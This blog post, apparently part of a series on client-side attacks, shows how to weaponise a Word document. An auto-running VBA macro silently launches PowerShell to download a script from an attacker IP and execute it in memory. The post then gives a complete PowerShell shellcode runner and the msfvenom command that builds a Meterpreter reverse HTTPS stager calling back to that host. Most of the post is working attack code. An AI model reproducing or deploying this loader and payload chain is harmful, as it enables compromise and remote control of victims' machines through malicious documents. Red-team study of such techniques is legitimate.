Weaponising Word With Powershell

Updated: Dec 30, 2021

This forms part of a new series of blog posts looking at client-side attacks and evasion strategies used by hackers.



As discussed last week, office products are some of the most widely utilised productivity tools around the world and, are great targets for exploitation by hackers.


According to Statistica , Office 365 is used by over a million companies worldwide, with over 731,000 companies in the United States alone using the office suite software. Canada ranks third in users at just over 83,000, behind the United Kingdom at approximately 187,000. In terms of actual users, there are 1.2 billion worldwide ..

This week we will look at a more evasive to run and download a file dropper payload on a victims machine by using PowerShell.


Powershell Downloader


Whilst the VBA exploit we built last week was effective, there is room for improvement. First, the document contains the embedded first-stage Meterpreter payload which is saved to the hard drive where it may be detected by antivirus. Second, the VBA version of our attack executed the shellcode directly in memory of the Word process.


This means If the victim closes Word, we'll lose our access to the victims machine.


To get around this, we get the macro to download a PowerShell script (which contains our staging shellcode) from an apache web server which will then run it in memory.


To do this we will run a PowerShell script from Microsoft Word. Under a default configuration, the child process will not die when Microsoft Word is closed, which will keep our shell alive when word is closed.


To accomplish this, we'll use the DownloadString method of the WebClient class to download the PowerShell script directly into memory and execute it with the Invoke-Expression commandlet.

We can reuse the exact same Windows APIs to execute the shellcode.


Code Example



Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.49.64/run.ps1') | IEX"
    Shell str, vbHide
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub


The Payload


Now we have the downloader (and runner through IEX) lets look at the payload that will be downloaded.


In last weeks VBA code, we utilised the RtlMoveMemory to copy the shellcode, but in PowerShell we can use the .NET Copy method from the System.Runtime.InteropServices.Marshal namespace.


This allows data to be copied from a managed array to an unmanaged memory pointer.

We'll use P/Invoke (from a www.pinvoke.net search) to translate the arguments of VirtualAlloc and CreateThread,:



	function LookupFunc {

	Param ($moduleName, $functionName)

	$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
	return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {

	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
	[Parameter(Position = 1)] [Type] $delType = [Void]
	)

	$type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
      SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
      SetImplementationFlags('Runtime, Managed')

	return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60... <SNIP>

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)




The payload used in the buff variable is created using msfvenom for the reverse shell stager over https on 443.


msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.64 LPORT=443 EXITFUNC=thread -f ps1



Video Example





8 views1 comment

Recent Posts

See All

This forms part of a new series of blog posts looking at client-side attacks and evasion strategies used by hackers. Running Shell Code in C# Over the last few weeks, we have been building payloads an

This forms part of a new series of blog posts looking at client-side attacks and evasion strategies used by hackers. Running Shell Code in C# Using lessons learnt from the last few weeks from both VBA

This forms part of a new series of blog posts looking at client-side attacks and evasion strategies used by hackers. When looking at exploiting operating systems and conducting client-side attacks it